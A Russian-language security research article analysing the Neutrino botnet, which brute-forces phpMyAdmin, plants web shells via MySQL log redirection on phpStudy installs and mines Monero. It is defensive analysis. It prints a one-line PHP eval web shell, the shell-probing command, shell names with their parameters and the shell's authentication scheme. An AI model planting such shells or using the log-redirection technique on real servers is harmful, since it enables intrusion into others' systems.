С августа 2018 года система поиска следов компрометации в сетевом трафике PT Network Attack Discovery и ловушки-ханипоты компании Positive Technologies начали фиксировать массовые сканирования систем phpMyAdmin. Сканирования сопровождались перебором 159 разных веб-шеллов (оболочек) с командой die(md5(Ch3ck1ng)). Эти данные стали отправной точкой для крупномасштабного расследования. Эксперты Positive Technologies постепенно раскрыли всю цепочку событий и закончили обнаружением большой вредоносной кампании, продолжавшейся с 2013 года. Специально для Anti-Malware.ru Кирилл Шипулин, специалист PT Expert Security Center, рассказал всю историю, с начала и до завершения.
- Введение
- Что внутри?
- 2.1. Как Neutrino ищет новые серверы
- 2.2. Общение с C2
- 2.3. Майнер
- My php, your admin
- 3.1. Как заражают phpMyAdmin
- 3.2. Вторая вредоносная кампания
- 3.3. Структура ботнета
- Сканируем интернет
- 4.1. Состав ботнета
- Выводы
Введение
Зараженные боты со всего мира случайным образом сканируют IP-адреса в интернете. В том числе сканированию подвергались сети PT Network Attack Discovery и распределенные ханипоты.
Рисунок 1. Запрос в интерфейсе PT Network Attack Discovery
Сканирование проходило так:
- Сначала бот подбирал путь до панели phpMyAdmin по списку.
- При обнаружении панели он начинал перебирать пароли учетной записи root. Словарь насчитывал около 500 паролей, и первым шел вариант по умолчанию — root.
- Далее, после успешного подбора пароля, не происходило ничего. Бот не эксплуатировал уязвимости и не исполнял код другими способами.
- Кроме phpMyAdmin, он перебирал пути до веб-шеллов, также по списку, и пытался исполнять простые PHP-команды. Список содержал 159 имен шеллов, и этот этап вызывал у нас больше всего вопросов.
Рисунок 2. Запрос на веб-шелл с командой.Если в ответ вернется корректный MD5, значит, сервер заражен
Такие сканирования были неоднократно замечены и описаны летом 2018 года другими исследователями. Но никто не попытался выяснить их цели и источники. Для ответов на наши вопросы мы подготовили ханипоты, которые изображали уязвимые серверы. Это были панели phpMyAdmin c учетной записью root:root и веб-шеллы, которые отвечали корректным MD5-хешем. Например, это — хеш 6c87b559084c419dfe0a7c8e688a4239 для примера из скриншота выше. Спустя какое-то время наши ханипоты принесли первые результаты.
Что внутри?
На ханипот с веб-шеллом стали приходить команды с полезной нагрузкой. Например, сохранить новый шелл с именем images.php и исполнить на нем команды:
После декодирования base64-команд становится ясно, что первые два запроса узнают конфигурацию машины, а третий исполняет PowerShell-скрипт для загрузки внешних компонентов. Base64-команды передаются в параметре ‘code’, а для авторизации он берет хеш SHA-1 от MD5 параметра ‘a’. Для строки “just for fun” хеш будет равен ‘49843c6580a0abc8aa4576e6d14afe3d94e3222f’, и проверяются при этом только два последних байта.
Как правило, внешний компонент — это майнер криптовалюты Monero. На Windows он устанавливается с именем lsass.exe в папку %TEMP%. Его версии могут различаться: некоторые из них работают без аргументов, и адрес кошелька зашит внутри. Видимо, это было сделано для уменьшения рисков обнаружения.
Второй возможный компонент — это PowerShell-скрипт с DLL-библиотекой внутри. Он скачивается с сервера и запускается другим PowerShell-скриптом. В свою очередь, код библиотеки исполняется в памяти, то есть она не хранится на диске. DLL-библиотека ответственна за дальнейшее распространение вредоноса и пополнение ботнета.
Подобный случай уже был описан исследователями из Minerva Labs в марте 2018 года как вредонос Ghostminer. Но он происходит от Neutrino, который существует с 2013 года. Другое название Neutrino — Kasidet, и ранее он распространялся через почтовые рассылки и различные наборы эксплоитов. Функциональность его менялась, но протокол общения с командным сервером и другие «артефакты» оставались неизменными. Например, строка “just for fun” использовалась для аутентификации еще в образцах от января 2017 года. Девять отчетов о Neutrino с 2014 года можно найти на Malpedia. Детали последнего отчета Minerva Labs позволили нам отследить изменения в способах распространения этого вредоноса.
Именно второй компонент представляет для нас интерес, поскольку он ищет новые хосты для заражения.
Как Neutrino ищет новые серверы
После заражения сервера Neutrino в первую очередь меняет параметры TCP-стека — MaxUserPort, TcpFinWait2Delay и другие. Это делается для настройки зараженного хоста на максимально быстрое сканирование:
Рисунок 3. Участок кода, меняющий параметр TCP-стека
Затем он связывается с командным сервером (С2), который управляет ходом сканирования на машине. Командный сервер отдает команду для проверки случайных серверов в интернете на одну из уязвимостей. Список проверок в версии Neutrino от октября 2018 года был весьма обширным:
- Поиск XAMPP-серверов c WebDAV.
- Поиск потенциально уязвимых для CVE-2010-3055 серверов phpMyAdmin (ошибка в конфигурационном скрипте setup.php).
- Поиск уязвимых плагинов Cacti’s Network Weathermap — CVE-2013-2618 (bit.ly/2VoWOPw).
- Поиск Oracle WebLogic, уязвимых для CVE-2017-10271.
- Поиск Oracle WebLogic, уязвимых для CVE-2018-2628.
- Поиск серверов IIS 6.0, уязвимых для удаленного выполнения кода через HTTP-метод PROPFIND (CVE-2017-7269).
- Поиск и эксплуатация нашумевшей дыры в Apache Struts2.
- Поиск открытых узлов Ethereum. В июне 2018 года это позволило злоумышленникам похитить 20 млн долларов (bit.ly/2HU1ERx).
- Брутфорс учетной записи “sa” на MSSQL. После успешного подбора Neutrino пытается исполнить код через механизм xp_cmdshell.
- Поиск phpMyAdmin без авторизации.
- Брутфорс phpMyAdmin с авторизацией.
- Большая логика по поиску перечня PHP-веб-шеллов.
Первые восемь модулей в списке появились с момента публикации отчета Minerva Labs. Последний пункт в этом списке, поиск веб-шеллов, как раз отвечает за те сканирования, с которых началось наше расследование. Список включал в себя 159 адресов с уникальными параметрами. Например:
- wuwu11.php:h
- weixiao.php:weixiao
- qwq.php:c
Рисунок 4. Участок кода, ответственный за сканирование веб-шеллов
Кроме сканирования уязвимостей Neutrino умеет выполнять произвольные команды и делать скриншоты. А в версии от декабря 2018 года авторы добавили еще три модуля:
- поиск открытых серверов Hadoop,
- брутфорс авторизации для серверов TomCat,
- поиск JSP-шеллов из списка.
Причем имена JSP-шеллов уже встречались нам ранее в Jboss exploitation tool или JBoss worm.
За время изучения этого ботнета мы несколько раз видели, как меняется его поведение. Первые сканирования содержали проверку по слову Ch3ck1ng, но в феврале вместо него использовалось слово F3bru4ry. Соответствующие строки статично хранятся внутри модуля Neutrino. Это говорит об обновлении вредоносной программы – например, обновился адрес C2 (или авторы добавили новый модуль).
Общение с C2
Бот Neutrino и командный сервер обмениваются base64-данными. Заголовки Cookie и Referer всегда одинаковы и служат для авторизации.
Рисунок 5. Обмен командами между ботом Neutrino и С2-сервером
В самом начале бот проверяет соединение с C2 простой парой сообщений: Enter — Success. Затем он делает «отстук» — передает на C2 краткую информацию о системе. Такой запрос изображен на скриншоте выше. В запросе сообщается информация о RAM, CPU и имени пользователя. В качестве уникального идентификатора хоста используется серийный номер тома с системным разделом. В ответ от C2 приходит новое задание для хоста; это может быть поиск новых уязвимых хостов или исполнение команд. Например, команда PMAFind со скриншота подразумевает поиск серверов phpMyAdmin, Hadoop, TomCat, а также шеллов по списку и WebDAV.
Если Neutrino нашел уязвимый сервер — например, подобрал пароль от панели phpMyAdmin, — он сообщает об этом на C2. Данные передаются в кодировке base64. Например:
Майнер
В отличие от модуля Neutrino, майнер хранится на диске и стартует автоматически. За это отвечает сервис с именем “Remote Procedure Call (RPC) Remote” или задача “WindowsUpdate”, они запускают PowerShell-код. Этот код хранится в поле EnCommand WMI пространства root\cimv2:PowerShell_Command, а в соседнем поле EnMiner находится сам исполняемый файл майнера. Для работы Neutrino и майнер делают записи в служебные поля того же пространства — например, PID процессов и номер версии.
Рисунок 6. Примеры записей
Скрипт из поля EnCommand запускает майнер EnMiner в несколько этапов:
- Функция KillFake убивает процессы, имитирующие стандартные (например, explorer.exe, если он запущен не из %WINDIR%), и удаляет их с диска.
- KillService останавливает и удаляет сервисы, чьи имена удовлетворяют заданной маске.
- Killer удаляет сервисы, задачи (Tasks) и процессы по списку имен или аргументам запуска.
- Функция Scanner проверяет содержимое каждого запущенного процесса и удаляет его с диска, если находит внутри характерные для криптомайнеров строки.
- Майнер lsass.exe сохраняется в %TEMP% и запускается.
В целом функции KillFake, KillService, Killer и Scanner отвечают за устранение конкурентов. Их мы опишем далее в статье. Пример скрипта EnCommand можно изучить на pastebin.com/bvkUU56w.
Адреса XMR-кошельков варьируются между семплами, и на каждый адрес приходилось в среднем по 10–40 XMR. Первые транзакции по ним начались с декабря 2017 года. В то же время часть хостов захватили и другие вредоносные кампании. Например, на адрес 41xDYg86Zug9dwbJ3ysuyWMF7R6Un2Ko84TNfiCW7xghhbKZV6jh8Q7hJoncnLayLVDwpzbPQPi62bvPqe6jJouHAsGNkg2 с февраля 2018 года приходило по 1 XMR в день, суммарно 346 XMR. Этот адрес также фигурирует в отчете PaloAlto под названием The Rise of the Cryptocurrency Miners, вышедшем в июне 2018 года. В отчете говорится о всплеске криптомайнеров. На июнь 2018 года их суммарная прибыль оценивалась в 175 млн долл. США, или 5% от общего оборота Monero.
My php, your admin
Поскольку сам бот Neutrino не эксплуатирует уязвимости, а только собирает список серверов, процесс заражения остался неясным. Приманка из сервера phpMyAdmin с дефолтной учетной записью поймала и это. Мы вживую наблюдали, как наш сервер подвергся атаке и был успешно заражен.
Как заражают phpMyAdmin
События происходили в несколько этапов:
- Сперва — вход в панель phpMyAdmin. Учетная запись была подобрана ранее во время сканирования.
- Небольшая разведка. Атакующий запрашивает скрипты phpinfo по разным путям.
- Интерфейс phpMyAdmin позволяет выполнять SQL-запросы к базе данных. И злоумышленник делает следующие запросы:
Они сохраняют содержимое select на диск. На случай ошибки далее идут следующие запросы:
- Наконец, знакомые нам запросы.
Авторы написали автоматический скрипт для взлома phpMyAdmin. Он пытается использовать один из двух механизмов:
- SELECT INTO OUTFILE для записи содержимого запроса на диск,
- перенаправление лог-файла в PHP-скрипт с помощью переменных MySQL.
Первый механизм известен давно и, как правило, не работает из-за опции --secure-file-priv, а использование второго мы видим впервые. Обычно MySQL не позволяет перенаправлять лог-файл за пределы переменной @@datadir, но это оказалось возможным в инсталляции из пакета phpStudy. Именно благодаря второму способу Neutrino стал массовым на серверах phpMyAdmin. Содержимое веб-шелла будет разным для первого и второго способа заражения.
Так выглядит ответ веб-шелла, если он был создан вторым способом — перенаправлением MySQL-лога:
К нашей радости, лог содержит подлинные даты. Их можно найти в ответах от некоторых шеллов images.php, что позволило нам узнать настоящее время их имплантации. Это важно, потому что среди рассылаемых команд бывают и такие:
Здесь $_SERVER[SCRIPT_FILENAME] содержит “images.php”. Фактически эта команда меняет дату последнего изменения файла на 16 июля 2015 года. Вероятно, это — попытка затруднить анализ кампании Neutrino, которая не увенчалась успехом. Отследить даты создания стало возможным благодаря содержимому некоторых шеллов.
Вторая вредоносная кампания
Удивительно то, что мы поймали запись не только шелла images.php, но и wuwu11.php с телом <?php @eval($_POST[h])?>. Заражение имело схожий механизм, но протекало иначе. Вот отличия:
- SQL-запросы посылались не одновременно, а по одному.
- Содержимое веб-шеллов совершенно разное; wuwu11.php не требует авторизации.
- Полезная нагрузка тоже различается. Авторы wuwu11 и других имплантировали Trojan.Downloader для загрузки вредоносных программ по цепочке, но не майнер.
Различия в способах заражения и перебор шеллов в самом Neutrino говорят о существовании двух параллельных вредоносных кампаний. Neutrino занимается майнингом криптовалюты, а вторая направлена на вредоносные загрузки.
Проанализировав даты создания шеллов на зараженных хостах, мы точно выяснили, кто был первым. Первые шеллы с говорящим названием test.php родом из 2013 года, а их «братья» db__.init, db_session.init и db.init начали появляться с 2014-го. Neutrino начал заражать серверы phpMyAdmin с января 2018 года через уязвимости или шеллы конкурента. Пик Neutrino пришелся на лето 2018 года. На графике ниже представлено распределение дат создания шеллов Neutrino и конкурента.
Рисунок 7. Активность кампании Neutrino и кампании конкурента. Neutrino появился заметно позже
Структура ботнета
Как оказалось, ботнет Neutrino имеет четкую организационную структуру: пока одни зараженные хосты заняты майнингом криптовалюты и сканируют интернет, другие служат прокси-серверами. Для проксирования используется утилита Gost на порте 1443, а шелл на таких хостах называется image.php, без буквы s на конце.
Таких прокси-хостов немного. Через них имплантируют images.php на уязвимые серверы, которые нашли ранее, а также рассылают команды, в основном для зачистки хостов от конкурентов и запуска криптомайнеров. Частота рассылки команд достигает 1000 уникальных IP-адресов в час.
Коннекты к порту 1443 прокси-сервера в большинстве случаев приходят из подсетей Chinanet Henan Province Network (1.192.0.0/13, 171.8.0.0/13, 123.101.0.0/16, 123.52.0.0/14 и другие адреса).
Теперь, когда мы знаем структуру этих вредоносных кампаний, мы можем просканировать интернет в поисках их шеллов и оценить размер ботнета.
Сканируем интернет
Как мы помним, в корневой WWW-каталог имплантируется веб-шелл images.php. Его наличие и HTTP-ответ однозначно говорят о заражении. Таким образом, чтобы оценить размер ботнета, нам необходимо послать запрос к images.php на все веб-серверы в интернете. Готовый список серверов с портом 80 можно найти на scans.io. (Censys сканируют интернет и обновляют список каждую неделю.) В списке 65 миллионов веб-серверов, и каждому из них мы послали запрос “GET /images.php”. Около 5000 серверов ответили положительно — и это лишь часть ботнета. Наши ханипоты регулярно сканировались с новых IP-адресов, которых не было среди обнаруженных.
Состав ботнета
Что это за серверы? Shodan помогает ответить на этот вопрос. Более половины из них возвращают Win32 или Win64 в заголовке “Server”.
Рисунок 8. Отклик сервера. Обратите внимание на заголовок Server: Apache работает на системе Windows
В среднем, если судить по данным Shodan, доля Windows среди Apache-серверов меньше 4%. Аномально высокое число Windows-систем в нашем случае должно быть вызвано специфическим программным обеспечением. Так и оказалось, некоторые из серверов отдают следующую стартовую страницу.
Рисунок 9. Распространенная стартовая страница — phpStudy
phpStudy — это интегрированная среда для обучения, популярная не только в Китае. В один клик она устанавливает веб-сервер Apache, базу данных MySQL, PHP-интерпретатор и панель phpMyAdmin. Кроме того, она имеет несколько конфигураций для Windows и Linux. Последняя версия phpStudy 2017 с официального сайта все так же уязвима для перенаправления лог-файла, в чем можно убедиться самостоятельно.
Уязвимость в phpStudy – это не единственный крупный источник ботов. Во время сканирования мы нашли более 20 000 серверов, уязвимых для CVE-2010-3055. Это тоже уязвимость в phpMyAdmin, но связана она с конфигурационным скриптом setup.php. Ботнет рассылает на них POST-запросы с вредоносными конфигурациями. Третье место делят серверы с Cacti’s Network Weathermap (CVE-2013-2618) и XAMPP с открытым WebDAV.
Злоумышленники нашли применение и тем панелям phpMyAdmin, которые защищены от описанных уязвимостей, но имеют слабые пароли. Это распространенный способ мошенничества: преступники экспортируют базу к себе на диск, удаляют ее из PMA и оставляют послание.
Рисунок 10. Сообщение от злоумышленников
Скорее всего, это никак не связано с кампанией Neutrino.
И в заключение — карта заражений Neutrino.
Рисунок 11. Карта заражений Neutrino
Выводы
В 2018 году мы видели очередной виток в развитии Neutrino. Если раньше этот вредонос распространялся через почтовые вложения и наборы эксплоитов, то 2018 год он начал в роли ботнета.
Сейчас Neutrino входит в тройку лидеров по числу запросов на наши ханипоты. Это — брутфорсы администраторских панелей, перебор шеллов и эксплуатация уязвимостей. За счет сканирования более десяти уязвимостей и шеллов конкурентов Neutrino собрал десятки тысяч ботов. И большая часть из них — системы Windows со средой phpStudy, которые он использует для майнинга криптовалюты Monero. Его код регулярно дополняется проверками на новые эксплойты. В тот же день, когда был опубликован эксплойт для ThinkPHP (bit.ly/2IKAyhu), мы заметили новую версию Neutrino.
В то же время он ведет себя осторожно: сначала находит уязвимые серверы и спустя время выборочно заражает их шеллом images.php. Для сокрытия он использует ряд техник:
- исполнение кода из памяти,
- многоступенчатую проверку шелла перед исполнением кода,
- размещение C2 на зараженных серверах.
Обнаружить его присутствие мы можем по специфичным сетевым запросам. В Positive Technologies мы занимаемся разработкой детектов для сетевых атак. Эти детекты похожи на сигнатуры для антивирусов, но проверяют сетевой трафик. Мы начали эту статью с того, как PT Network Attack Discovery обнаружил странные запросы по косвенным признакам. Это были брутфорс phpMyAdmin и перебор шеллов.
Хотя на примере выше бот Neutrino остался ни с чем, наши сигнатуры обнаружат эксплуатацию любой уязвимости или заражение сервера. Мы опубликовали некоторые из наших сигнатур на GitHub.
Для защиты серверов от заражения Neutrino мы рекомендуем проверить пароль учетной записи root в phpMyAdmin и убедиться, что сервисы имеют необходимые патчи и последние обновления. Напоминаем, Neutrino регулярно пополняется новыми эксплоитами.